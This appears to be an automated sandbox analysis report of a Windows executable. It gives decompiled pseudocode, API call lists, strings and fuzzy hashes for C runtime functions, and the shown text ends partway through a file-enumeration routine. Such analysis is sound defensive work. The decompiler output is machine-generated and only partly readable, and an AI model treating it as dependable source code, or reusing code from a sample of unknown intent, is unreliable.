Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

QueryPerformanceFrequency.KERNEL32 ref: 000D6802

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

GetLastError.KERNEL32(0000000A), ref: 000D6845
__CxxThrowException@8.LIBVCRUNTIME ref: 000D6883

Strings

Timer: QueryPerformanceFrequency failed with error , xrefs: 000D685D
Timer: QueryPerformanceCounter failed with error , xrefs: 000D6780

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorException@8LastPerformanceQueryThrow$CounterExceptionFeatureFrequencyPresentProcessorRaise___raise_securityfailure
String ID: Timer: QueryPerformanceCounter failed with error $Timer: QueryPerformanceFrequency failed with error
API String ID: 226346509-2136607233
Opcode ID: efd9fa3d68b312e0e38a39e79150c99e9f4e2e397313a90c2167c01a95b31edb
Instruction ID: c502f198a0da6f62436acb493cc3355678ae86d6bc202e4762619d75461b437a
Opcode Fuzzy Hash: efd9fa3d68b312e0e38a39e79150c99e9f4e2e397313a90c2167c01a95b31edb
Instruction Fuzzy Hash: C7414BB1D04308EBDB10DFA4DC45BDEBBB8FB18714F10422AF91AA7681DB75A5488B91

Uniqueness

Uniqueness Score: 100.00%

Function 00108E50, Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00108E50(void* __ecx, void* __edx, signed int* _a4) {
				intOrPtr _v8;
				char _v12;
				char* _t18;
				unsigned int _t23;
				char* _t26;
				intOrPtr* _t29;
				intOrPtr* _t30;
				unsigned int _t33;
				char* _t36;
				signed int* _t38;
				void* _t41;
				intOrPtr _t47;
				intOrPtr _t50;

				_t18 =  *0x179b64; // 0x0
				_t41 =  *_t18 - 0x58;
				if(_t41 == 0) {
					 *0x179b64 = _t18 + 1;
					_push("void");
					goto L16;
				} else {
					if(_t41 == 0) {
						 *0x179b64 = _t18 + 1;
						_t23 =  *0x179b6c; // 0x0
						_t26 = "...";
						if(( !(_t23 >> 0x12) & 0x00000001) == 0) {
							_t26 = "<ellipsis>";
						}
						_push(_t26);
						L16:
						E001079F8(_a4);
						goto L17;
					} else {
						E00108D5A(__edx,  &_v12);
						_t50 = _v8;
						if(_t50 != 0) {
							L11:
							_t29 = _a4;
							 *_t29 = _v12;
							 *((intOrPtr*)(_t29 + 4)) = _t50;
							return _t29;
						} else {
							_t30 =  *0x179b64; // 0x0
							_t47 =  *_t30;
							if(_t47 == 0) {
								goto L11;
							} else {
								if(_t47 == 0x40) {
									 *0x179b64 = _t30 + 1;
									goto L11;
								} else {
									if(_t47 == 0x5a) {
										 *0x179b64 = _t30 + 1;
										_t33 =  *0x179b6c; // 0x0
										_t36 = ",...";
										if(( !(_t33 >> 0x12) & 0x00000001) == 0) {
											_t36 = ",<ellipsis>";
										}
										E00107D7E( &_v12, _a4, _t36);
										L17:
										return _a4;
									} else {
										_t38 = _a4;
										_t38[1] = _t38[1] & 0x00000000;
										 *_t38 =  *_t38 & 0x00000000;
										_t38[1] = 2;
										return _t38;
									}
								}
							}
						}
					}
				}
			}

0x00108e55
0x00108e5d
0x00108e60
0x00108f03
0x00108f08
0x00000000
0x00108e66
0x00108e6a
0x00108ee2
0x00108ee7
0x00108ef3
0x00108ef8
0x00108efa
0x00108efa
0x00108eff
0x00108f0d
0x00108f10
0x00000000
0x00108e6c
0x00108e70
0x00108e75
0x00108e7b
0x00108ed4
0x00108ed4
0x00108eda
0x00108edc
0x00108ee0
0x00108e7d
0x00108e7d
0x00108e82
0x00108e86
0x00000000
0x00108e88
0x00108e8b
0x00108ecf
0x00000000
0x00108e8d
0x00108e90
0x00108ea3
0x00108ea8
0x00108eb4
0x00108eb9
0x00108ebb
0x00108ebb
0x00108ec7
0x00108f15
0x00108f19
0x00108e92
0x00108e92
0x00108e95
0x00108e99
0x00108e9c
0x00108ea1
0x00108ea1
0x00108e90
0x00108e8b
0x00108e86
0x00108e7b
0x00108e6a

APIs

UnDecorator::getArgumentList.LIBVCRUNTIME ref: 00108E70

Part of subcall function 00108D5A: DName::operator+=.LIBCMT ref: 00108D94
Part of subcall function 00108D5A: Replicator::operator[].LIBVCRUNTIME ref: 00108DC6
Part of subcall function 00108D5A: DName::operator+=.LIBVCRUNTIME ref: 00108DCE
Part of subcall function 00108D5A: UnDecorator::getPrimaryDataType.LIBVCRUNTIME ref: 00108DE7
Part of subcall function 00108D5A: Replicator::operator+=.LIBCMT ref: 00108E09
Part of subcall function 00108D5A: DName::operator+=.LIBVCRUNTIME ref: 00108E14
Part of subcall function 00108D5A: DName::operator+=.LIBCMT ref: 00108E44

DName::operator+.LIBCMT ref: 00108EC7

Part of subcall function 00107D7E: DName::operator+=.LIBCMT ref: 00107D94

DName::DName.LIBVCRUNTIME ref: 00108F10

Part of subcall function 001079F8: DName::doPchar.LIBVCRUNTIME ref: 00107A1F

Strings

,..., xrefs: 00108EB4
void, xrefs: 00108F08
,<ellipsis>, xrefs: 00108EBB, 00108EC0
..., xrefs: 00108EF3
<ellipsis>, xrefs: 00108EFA, 00108EFF

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Name::operator+=$Decorator::get$ArgumentDataListNameName::Name::doName::operator+PcharPrimaryReplicator::operator+=Replicator::operator[]Type
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 355434013-2211150622
Opcode ID: 4d1f5d2f9edbddc72fd55cd77a0dc546af677a295b17e247d63ed4083cdc1392
Instruction ID: 17404de8f12480e9d0d2d72b67f666ddcd9e558d4adc1321555fa18cdbf1f714
Opcode Fuzzy Hash: 4d1f5d2f9edbddc72fd55cd77a0dc546af677a295b17e247d63ed4083cdc1392
Instruction Fuzzy Hash: CB216D70608A099FCB04CF1CE955A693BF6EB16348F008154F4C9DB6F2CBB0E985CB94

Uniqueness

Uniqueness Score: 10.55%

Function 001090CB, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E001090CB(void* __eflags, signed int* _a4) {
				intOrPtr _v8;
				char _v12;
				char _v20;
				intOrPtr _t17;
				intOrPtr* _t20;
				void* _t22;
				void* _t25;
				signed int* _t30;
				intOrPtr* _t33;
				void* _t42;

				E001079F8( &_v12, E00107F92(0));
				_t33 =  *0x179b64; // 0x0
				_t17 =  *_t33;
				if(_t17 == 0) {
					E00107EB4( &_v12, 1);
					goto L8;
				} else {
					 *0x179b64 = _t33 + 1;
					_t22 = _t17 - 0x30;
					if(_t22 == 0) {
						E00107E53( &_v12, "void");
						goto L8;
					} else {
						_t25 = _t22;
						if(_t25 == 0) {
							E00107DC2( &_v12, E0010B9B7(_t42, __eflags,  &_v20));
							goto L8;
						} else {
							if(_t25 != 3) {
								L8:
								E00107E53( &_v12, ") ");
								_t20 = _a4;
								 *_t20 = _v12;
								 *((intOrPtr*)(_t20 + 4)) = _v8;
								return _t20;
							} else {
								_t30 = _a4;
								_t30[1] = _t30[1] & 0x00000000;
								 *_t30 =  *_t30 & 0x00000000;
								_t30[1] = 2;
								return _t30;
							}
						}
					}
				}
			}

0x001090dd
0x001090e2
0x001090e8
0x001090ec
0x00109141
0x00000000
0x001090ee
0x001090f2
0x001090f8
0x001090fb
0x00109135
0x00000000
0x001090fd
0x001090fe
0x00109101
0x00109126
0x00000000
0x00109103
0x00109106
0x00109146
0x0010914e
0x00109153
0x00109159
0x0010915e
0x00109162
0x00109108
0x00109108
0x0010910b
0x0010910f
0x00109112
0x00109117
0x00109117
0x00109106
0x00109101
0x001090fb

APIs

UnDecorator::UScore.LIBVCRUNTIME ref: 001090D3
DName::DName.LIBVCRUNTIME ref: 001090DD

Part of subcall function 001079F8: DName::doPchar.LIBVCRUNTIME ref: 00107A1F

UnDecorator::getScopedName.LIBVCRUNTIME ref: 0010911C

Part of subcall function 0010B9B7: UnDecorator::getZName.LIBVCRUNTIME ref: 0010B9D1
Part of subcall function 0010B9B7: UnDecorator::getScope.LIBVCRUNTIME ref: 0010BA00
Part of subcall function 0010B9B7: DName::operator+.LIBCMT ref: 0010BA0D
Part of subcall function 0010B9B7: DName::operator+.LIBCMT ref: 0010BA19
Part of subcall function 0010B9B7: DName::operator=.LIBVCRUNTIME ref: 0010BA53
Part of subcall function 0010B9B7: DName::DName.LIBVCRUNTIME ref: 0010BA5D
Part of subcall function 0010B9B7: DName::operator+.LIBCMT ref: 0010BA69
Part of subcall function 0010B9B7: DName::operator+.LIBCMT ref: 0010BA75

DName::operator+=.LIBVCRUNTIME ref: 00109126

Part of subcall function 00107DC2: DName::operator+=.LIBCMT ref: 00107DDE
Part of subcall function 00107DC2: DName::append.LIBCMT ref: 00107DF7

DName::operator+=.LIBCMT ref: 00109135
DName::operator+=.LIBCMT ref: 00109141

Part of subcall function 00107EB4: DName::append.LIBCMT ref: 00107EE0
Part of subcall function 00107EB4: DName::operator=.LIBVCRUNTIME ref: 00107EE8

DName::operator+=.LIBCMT ref: 0010914E

Part of subcall function 00107E53: DName::operator=.LIBVCRUNTIME ref: 00107E74
Part of subcall function 00107E53: _HeapManager::getMemory.LIBVCRUNTIME ref: 00107E83
Part of subcall function 00107E53: pcharNode::pcharNode.LIBVCRUNTIME ref: 00107E9C
Part of subcall function 00107E53: DName::append.LIBCMT ref: 00107EA6

Strings

void, xrefs: 0010912D

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Name::operator+=$NameName::operator+$Decorator::getName::appendName::operator=$Name::$Decorator::HeapManager::getMemoryName::doNodeNode::pcharPcharScopeScopedScorepchar
String ID: void
API String ID: 2218784348-3531332078
Opcode ID: c965a8ffeaa1aaa43c460ff1403c885d9f64b22fae7631f2a443d707ea7af813
Instruction ID: b91f40c6c15f2a6e1f38c2ef0e102b4442eb29ffd5186d517503e3f9f07a6c7f
Opcode Fuzzy Hash: c965a8ffeaa1aaa43c460ff1403c885d9f64b22fae7631f2a443d707ea7af813
Instruction Fuzzy Hash: 9811A170A04209AFCB08EF64C96AEAD7B75AB11358F448089E4855B2E3DBF0AD45C750

Uniqueness

Uniqueness Score: 7.75%

Function 00120789, Relevance: 13.8, APIs: 9, Instructions: 300
fileCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00120789(signed int _a4, void* _a8, unsigned int _a12) {
				signed int _v5;
				char _v6;
				void* _v12;
				unsigned int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* _v32;
				long _v36;
				void* _v40;
				long _v44;
				signed int* _t143;
				signed int _t145;
				intOrPtr _t149;
				signed int _t153;
				signed int _t155;
				signed char _t157;
				unsigned int _t158;
				intOrPtr _t162;
				void* _t163;
				signed int _t164;
				signed int _t167;
				long _t168;
				intOrPtr _t175;
				signed int _t176;
				intOrPtr _t178;
				signed int _t180;
				signed int _t184;
				char _t191;
				char* _t192;
				char _t199;
				char* _t200;
				signed char _t211;
				signed int _t213;
				long _t215;
				signed int _t216;
				char _t218;
				signed char _t222;
				signed int _t223;
				unsigned int _t224;
				intOrPtr _t225;
				unsigned int _t229;
				signed int _t231;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed char _t236;
				signed int _t237;
				signed int _t239;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int _t246;
				void* _t248;
				void* _t249;

				_t213 = _a4;
				if(_t213 != 0xfffffffe) {
					__eflags = _t213;
					if(_t213 < 0) {
						L58:
						_t143 = E0010FAB2();
						 *_t143 =  *_t143 & 0x00000000;
						__eflags =  *_t143;
						 *((intOrPtr*)(E0010FAC5())) = 9;
						L59:
						_t145 = E0010F43B();
						goto L60;
					}
					__eflags = _t213 -  *0x17a0b0; // 0x40
					if(__eflags >= 0) {
						goto L58;
					}
					_v24 = 1;
					_t239 = _t213 >> 6;
					_t235 = (_t213 & 0x0000003f) * 0x30;
					_v20 = _t239;
					_t149 =  *((intOrPtr*)(0x179eb0 + _t239 * 4));
					_v28 = _t235;
					_t222 =  *((intOrPtr*)(_t235 + _t149 + 0x28));
					_v5 = _t222;
					__eflags = _t222 & 0x00000001;
					if((_t222 & 0x00000001) == 0) {
						goto L58;
					}
					_t223 = _a12;
					__eflags = _t223 - 0x7fffffff;
					if(_t223 <= 0x7fffffff) {
						__eflags = _t223;
						if(_t223 == 0) {
							L57:
							return 0;
						}
						__eflags = _v5 & 0x00000002;
						if((_v5 & 0x00000002) != 0) {
							goto L57;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							goto L6;
						}
						_t153 =  *((intOrPtr*)(_t235 + _t149 + 0x29));
						_v5 = _t153;
						_v32 =  *((intOrPtr*)(_t235 + _t149 + 0x18));
						_t246 = 0;
						_t155 = _t153 - 1;
						__eflags = _t155;
						if(_t155 == 0) {
							_t236 = _v24;
							_t157 =  !_t223;
							__eflags = _t236 & _t157;
							if((_t236 & _t157) != 0) {
								_t158 = 4;
								_t224 = _t223 >> 1;
								_v16 = _t158;
								__eflags = _t224 - _t158;
								if(_t224 >= _t158) {
									_t158 = _t224;
									_v16 = _t224;
								}
								_t246 = E0011D9CA(_t224, _t158);
								E0011D5C7(0);
								E0011D5C7(0);
								_t249 = _t248 + 0xc;
								_v12 = _t246;
								__eflags = _t246;
								if(_t246 != 0) {
									_t162 = E00120CDC(_t213, 0, 0, _v24);
									_t225 =  *((intOrPtr*)(0x179eb0 + _t239 * 4));
									_t248 = _t249 + 0x10;
									_t240 = _v28;
									 *((intOrPtr*)(_t240 + _t225 + 0x20)) = _t162;
									_t163 = _t246;
									 *(_t240 + _t225 + 0x24) = _t236;
									_t235 = _t240;
									_t223 = _v16;
									L21:
									_t241 = 0;
									_v40 = _t163;
									_t215 =  *((intOrPtr*)(0x179eb0 + _v20 * 4));
									_v36 = _t215;
									__eflags =  *(_t235 + _t215 + 0x28) & 0x00000048;
									_t216 = _a4;
									if(( *(_t235 + _t215 + 0x28) & 0x00000048) != 0) {
										_t218 =  *((intOrPtr*)(_t235 + _v36 + 0x2a));
										_v6 = _t218;
										__eflags = _t218 - 0xa;
										_t216 = _a4;
										if(_t218 != 0xa) {
											__eflags = _t223;
											if(_t223 != 0) {
												_t241 = _v24;
												 *_t163 = _v6;
												_t216 = _a4;
												_t232 = _t223 - 1;
												__eflags = _v5;
												_v12 = _t163 + 1;
												_v16 = _t232;
												 *((char*)(_t235 +  *((intOrPtr*)(0x179eb0 + _v20 * 4)) + 0x2a)) = 0xa;
												if(_v5 != 0) {
													_t191 =  *((intOrPtr*)(_t235 +  *((intOrPtr*)(0x179eb0 + _v20 * 4)) + 0x2b));
													_v6 = _t191;
													__eflags = _t191 - 0xa;
													if(_t191 != 0xa) {
														__eflags = _t232;
														if(_t232 != 0) {
															_t192 = _v12;
															_t241 = 2;
															 *_t192 = _v6;
															_t216 = _a4;
															_t233 = _t232 - 1;
															_v12 = _t192 + 1;
															_v16 = _t233;
															 *((char*)(_t235 +  *((intOrPtr*)(0x179eb0 + _v20 * 4)) + 0x2b)) = 0xa;
															__eflags = _v5 - _v24;
															if(_v5 == _v24) {
																_t199 =  *((intOrPtr*)(_t235 +  *((intOrPtr*)(0x179eb0 + _v20 * 4)) + 0x2c));
																_v6 = _t199;
																__eflags = _t199 - 0xa;
																if(_t199 != 0xa) {
																	__eflags = _t233;
																	if(_t233 != 0) {
																		_t200 = _v12;
																		_t241 = 3;
																		 *_t200 = _v6;
																		_t216 = _a4;
																		_t234 = _t233 - 1;
																		__eflags = _t234;
																		_v12 = _t200 + 1;
																		_v16 = _t234;
																		 *((char*)(_t235 +  *((intOrPtr*)(0x179eb0 + _v20 * 4)) + 0x2c)) = 0xa;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
									_t164 = E00127FE5(_t216);
									__eflags = _t164;
									if(_t164 == 0) {
										L41:
										_v24 = 0;
										L42:
										_t167 = ReadFile(_v32, _v12, _v16,  &_v36, 0);
										__eflags = _t167;
										if(_t167 == 0) {
											L53:
											_t168 = GetLastError();
											_t241 = 5;
											__eflags = _t168 - _t241;
											if(_t168 != _t241) {
												__eflags = _t168 - 0x6d;
												if(_t168 != 0x6d) {
													L37:
													E0010FA8F(_t168);
													goto L38;
												}
												_t242 = 0;
												goto L39;
											}
											 *((intOrPtr*)(E0010FAC5())) = 9;
											 *(E0010FAB2()) = _t241;
											goto L38;
										}
										_t229 = _a12;
										__eflags = _v36 - _t229;
										if(_v36 > _t229) {
											goto L53;
										}
										_t242 = _t241 + _v36;
										__eflags = _t242;
										L45:
										_t237 = _v28;
										_t175 =  *((intOrPtr*)(0x179eb0 + _v20 * 4));
										__eflags =  *(_t237 + _t175 + 0x28) & 0x00000080;
										if(( *(_t237 + _t175 + 0x28) & 0x00000080) != 0) {
											__eflags = _v5 - 2;
											if(_v5 == 2) {
												__eflags = _v24;
												_push(_t242 >> 1);
												_push(_v40);
												_push(_t216);
												if(_v24 == 0) {
													_t176 = E001202E5();
												} else {
													_t176 = E001205F5();
												}
											} else {
												_t230 = _t229 >> 1;
												__eflags = _t229 >> 1;
												_t176 = E001204A5(_t229 >> 1, _t229 >> 1, _t216, _v12, _t242, _a8, _t230);
											}
											_t242 = _t176;
										}
										goto L39;
									}
									_t231 = _v28;
									_t178 =  *((intOrPtr*)(0x179eb0 + _v20 * 4));
									__eflags =  *(_t231 + _t178 + 0x28) & 0x00000080;
									if(( *(_t231 + _t178 + 0x28) & 0x00000080) == 0) {
										goto L41;
									}
									_t180 = GetConsoleMode(_v32,  &_v44);
									__eflags = _t180;
									if(_t180 == 0) {
										goto L41;
									}
									__eflags = _v5 - 2;
									if(_v5 != 2) {
										goto L42;
									}
									_t184 = ReadConsoleW(_v32, _v12, _v16 >> 1,  &_v36, 0);
									__eflags = _t184;
									if(_t184 != 0) {
										_t229 = _a12;
										_t242 = _t241 + _v36 * 2;
										goto L45;
									}
									_t168 = GetLastError();
									goto L37;
								} else {
									 *((intOrPtr*)(E0010FAC5())) = 0xc;
									 *(E0010FAB2()) = 8;
									L38:
									_t242 = _t241 | 0xffffffff;
									__eflags = _t242;
									L39:
									E0011D5C7(_t246);
									return _t242;
								}
							}
							L15:
							 *(E0010FAB2()) =  *_t206 & _t246;
							 *((intOrPtr*)(E0010FAC5())) = 0x16;
							E0010F43B();
							goto L38;
						}
						__eflags = _t155 != 1;
						if(_t155 != 1) {
							L13:
							_t163 = _a8;
							_v16 = _t223;
							_v12 = _t163;
							goto L21;
						}
						_t211 =  !_t223;
						__eflags = _t211 & 0x00000001;
						if((_t211 & 0x00000001) == 0) {
							goto L15;
						}
						goto L13;
					}
					L6:
					 *(E0010FAB2()) =  *_t151 & 0x00000000;
					 *((intOrPtr*)(E0010FAC5())) = 0x16;
					goto L59;
				} else {
					 *(E0010FAB2()) =  *_t212 & 0x00000000;
					_t145 = E0010FAC5();
					 *_t145 = 9;
					L60:
					return _t145 | 0xffffffff;
				}
			}

0x00120792
0x00120799
0x001207b3
0x001207b5
0x00120b1d
0x00120b1d
0x00120b22
0x00120b22
0x00120b2a
0x00120b30
0x00120b30
0x00000000
0x00120b30
0x001207bb
0x001207c1
0x00000000
0x00000000
0x001207c9
0x001207d5
0x001207d8
0x001207db
0x001207de
0x001207e5
0x001207e8
0x001207ec
0x001207ef
0x001207f2
0x00000000
0x00000000
0x001207f8
0x001207fb
0x00120801
0x0012081b
0x0012081d
0x00120b19
0x00000000
0x00120b19
0x00120823
0x00120827
0x00000000
0x00000000
0x0012082d
0x00120831
0x00000000
0x00000000
0x00120838
0x0012083c
0x0012083f
0x00120842
0x00120847
0x00120847
0x0012084a
0x00120867
0x0012086c
0x0012086e
0x00120870
0x00120890
0x00120891
0x00120893
0x00120896
0x00120898
0x0012089a
0x0012089c
0x0012089c
0x001208a7
0x001208a9
0x001208b0
0x001208b5
0x001208b8
0x001208bb
0x001208bd
0x001208e2
0x001208e7
0x001208ee
0x001208f1
0x001208f4
0x001208f8
0x001208fa
0x001208fe
0x00120900
0x00120903
0x00120906
0x00120908
0x0012090b
0x00120912
0x00120915
0x0012091a
0x0012091d
0x00120926
0x0012092a
0x0012092d
0x00120930
0x00120933
0x00120939
0x0012093b
0x00120944
0x00120947
0x0012094a
0x0012094d
0x0012094e
0x00120952
0x00120958
0x00120962
0x00120967
0x00120977
0x0012097b
0x0012097e
0x00120980
0x00120982
0x00120984
0x00120986
0x0012098e
0x0012098f
0x00120992
0x00120995
0x00120996
0x0012099c
0x001209a6
0x001209ae
0x001209b1
0x001209bd
0x001209c1
0x001209c4
0x001209c6
0x001209c8
0x001209ca
0x001209cc
0x001209d4
0x001209d5
0x001209d8
0x001209db
0x001209db
0x001209dc
0x001209e2
0x001209ec
0x001209ec
0x001209ca
0x001209c6
0x001209b1
0x00120984
0x00120980
0x00120967
0x0012093b
0x00120933
0x001209f2
0x001209f8
0x001209fa
0x00120a6d
0x00120a6d
0x00120a71
0x00120a81
0x00120a87
0x00120a89
0x00120ae5
0x00120ae5
0x00120aed
0x00120aee
0x00120af0
0x00120b09
0x00120b0c
0x00120a49
0x00120a4a
0x00000000
0x00120a4f
0x00120b12
0x00000000
0x00120b12
0x00120af7
0x00120b02
0x00000000
0x00120b02
0x00120a8b
0x00120a8e
0x00120a91
0x00000000
0x00000000
0x00120a93
0x00120a93
0x00120a96
0x00120a99
0x00120a9c
0x00120aa3
0x00120aa8
0x00120aaa
0x00120aae
0x00120ac9
0x00120acd
0x00120ace
0x00120ad1
0x00120ad2
0x00120ade
0x00120ad4
0x00120ad4
0x00120ad4
0x00120ab0
0x00120ab0
0x00120ab0
0x00120abb
0x00120ac0
0x00120ac3
0x00120ac3
0x00000000
0x00120aa8
0x001209ff
0x00120a02
0x00120a09
0x00120a0e
0x00000000
0x00000000
0x00120a17
0x00120a1d
0x00120a1f
0x00000000
0x00000000
0x00120a21
0x00120a25
0x00000000
0x00000000
0x00120a39
0x00120a3f
0x00120a41
0x00120a65
0x00120a68
0x00000000
0x00120a68
0x00120a43
0x00000000
0x001208bf
0x001208c4
0x001208cf
0x00120a50
0x00120a50
0x00120a50
0x00120a53
0x00120a54
0x00000000
0x00120a5c
0x001208bd
0x00120872
0x00120877
0x0012087e
0x00120884
0x00000000
0x00120884
0x0012084c
0x0012084f
0x00120859
0x00120859
0x0012085c
0x0012085f
0x00000000
0x0012085f
0x00120853
0x00120855
0x00120857
0x00000000
0x00000000
0x00000000
0x00120857
0x00120803
0x00120808
0x00120810
0x00000000
0x0012079b
0x001207a0
0x001207a3
0x001207a8
0x00120b35
0x00000000
0x00120b35

APIs

Part of subcall function 0011D9CA: RtlAllocateHeap.NTDLL(00000000,?,00000004,?,0011D976,?,00000000,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011D9FC

_free.LIBCMT ref: 001208A9

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

_free.LIBCMT ref: 001208B0
GetConsoleMode.KERNEL32(001100DF,?), ref: 00120A17
ReadConsoleW.KERNEL32(001100DF,?,00000000,?,00000000), ref: 00120A39
GetLastError.KERNEL32(?,?,?,?,00000000,00001000,?,?,?,?,001100DF,00000000), ref: 00120A43
__dosmaperr.LIBCMT ref: 00120A4A
_free.LIBCMT ref: 00120A54
ReadFile.KERNEL32(001100DF,?,00000000,?,00000000), ref: 00120A81

Part of subcall function 001202E5: ReadFile.KERNEL32(?,?,00000002,?,00000000), ref: 001203C5

Part of subcall function 001204A5: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,?,?,?,00000000,?,?,00000000,00001000), ref: 001205B2
Part of subcall function 001204A5: GetLastError.KERNEL32(?,?,00000000,?,?,00000000,00001000,?,?,?,?,00000000,00001000,?), ref: 001205BE
Part of subcall function 001204A5: __dosmaperr.LIBCMT ref: 001205C5

GetLastError.KERNEL32(?,?,?,?,00000000,00001000,?,?,?,?,001100DF,00000000), ref: 00120AE5

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorLast$Read_free$ConsoleFileHeap__dosmaperr$AllocateByteCharFreeModeMultiWide
String ID:
API String ID: 2603811377-0
Opcode ID: 5c21946f8d3b2d24e40160c4fe12a5aa0817e77c9e84aa4d80424480d1b81fee
Instruction ID: 290beedfd0a487b17661b8be03620e960dd471e4ca3398041e78f34de1201a6a
Opcode Fuzzy Hash: 5c21946f8d3b2d24e40160c4fe12a5aa0817e77c9e84aa4d80424480d1b81fee
Instruction Fuzzy Hash: D6C1DF74E043599FDF16DFA8E841BADBBB0AF1D310F184299E848A7293C7709991CB61

Uniqueness

Uniqueness Score: 4.01%

Function 000A9DC0, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 260
fileUNIQUE

Download Yara Rule

C-Code - Quality: 72%

			E000A9DC0(void* __ebx, void* __edi, void** _a4, signed int _a8) {
				char _v8;
				char _v16;
				signed int _v20;
				intOrPtr _v24;
				void* _v28;
				char _v44;
				intOrPtr _v48;
				void* _v52;
				char _v56;
				char _v68;
				char _v92;
				char _v116;
				char _v172;
				struct _WIN32_FIND_DATAW _v764;
				signed int _v768;
				signed int _v772;
				void* _v776;
				void* _v780;
				signed int _v784;
				intOrPtr* _v796;
				intOrPtr* _v800;
				signed short* _v804;
				void* __esi;
				signed int _t115;
				signed int _t116;
				intOrPtr* _t122;
				signed int _t128;
				void* _t132;
				signed int _t134;
				void* _t138;
				void* _t140;
				signed short* _t147;
				signed int _t150;
				void** _t161;
				void* _t181;
				signed int _t185;
				long _t187;
				signed int _t189;
				intOrPtr* _t191;
				signed int _t192;
				intOrPtr* _t201;
				char* _t202;
				void* _t217;
				void* _t218;
				void* _t219;
				intOrPtr* _t220;
				intOrPtr _t221;
				signed int _t223;
				signed int _t224;
				void** _t229;
				void* _t230;
				signed int _t231;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed int _t243;
				void* _t244;

				_t241 = _t243;
				_push(0xffffffff);
				_push(0x133d38);
				_push( *[fs:0x0]);
				_t244 = _t243 - 0x300;
				_t115 =  *0x16f170; // 0xd529e887
				_t116 = _t115 ^ _t243;
				_v20 = _t116;
				_push(__ebx);
				_push(__edi);
				_push(_t116);
				 *[fs:0x0] =  &_v16;
				_t229 = _a4;
				_t185 = _a8;
				_v768 = _t229;
				_v784 = _t185;
				_v28 = 0;
				_v24 = 7;
				_v44 = 0;
				_t230 =  *_t229;
				_t223 = 0;
				_v8 = 0;
				_v772 = 0;
				_v776 = 0xffff;
				_v780 = 0xffff;
				goto L1;
				do {
					do {
						L1:
						if(FindNextFileW( *(_t230 + 0x28),  &_v764) != 0) {
							_t122 =  &(_v764.cFileName);
							_t218 = _t122 + 2;
							do {
								_t189 =  *_t122;
								_t122 = _t122 + 2;
								__eflags = _t189;
							} while (_t189 != 0);
							_push(_t122 - _t218 >> 1);
							E00068410(_t185,  &_v44, _t218,  &(_v764.cFileName));
							_t224 = _v764.dwFileAttributes;
							__eflags = _t224 & 0x00000400;
							if((_t224 & 0x00000400) == 0) {
								_v52 = 0;
								_v48 = 7;
								_t223 = (_t224 & 0x00000010 | 0x00000020) >> 4;
								_t191 =  &(_v764.cFileName);
								__eflags = 0;
								_t219 = _t191 + 2;
								_v68 = 0;
								do {
									_t128 =  *_t191;
									_t191 = _t191 + 2;
									__eflags = _t128;
								} while (_t128 != 0);
								_t192 = _t191 - _t219;
								__eflags = _t192;
								_push(_t192 >> 1);
								E00068410(_t185,  &_v68, _t219,  &(_v764.cFileName));
								_v8 = 1;
								_t132 = E000AA600(_t185, _t219, _t223, _t230, _t241,  &_v68, _v764.dwFileAttributes);
